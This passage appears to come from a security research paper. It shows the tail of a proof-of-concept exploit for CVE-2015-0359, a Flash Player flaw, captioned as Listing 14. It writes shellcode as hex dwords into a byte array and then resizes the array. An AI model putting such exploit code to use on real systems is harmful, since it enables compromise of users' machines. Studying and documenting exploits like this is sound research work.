calc.writeUnsignedInt(0x6500558B);
calc.writeUnsignedInt(0xEC83EC08);
calc.writeUnsignedInt(0x8B450483);
calc.writeUnsignedInt(0xE80B8945);
calc.writeUnsignedInt(0xFC33DB68);
calc.writeUnsignedInt(0x318B6F87);
calc.writeUnsignedInt(0xE837FFFF);
calc.writeUnsignedInt(0xFF8945F8);
calc.writeUnsignedInt(0xBB500000);
calc.writeUnsignedInt(0x000345FC);
calc.writeUnsignedInt(0x6A0050FF);
calc.writeUnsignedInt(0x55F8C9C3);
calc.length = 0x100000;

return calc;

Listing 14: Proof-of-concept exploit for CVE-2015-0359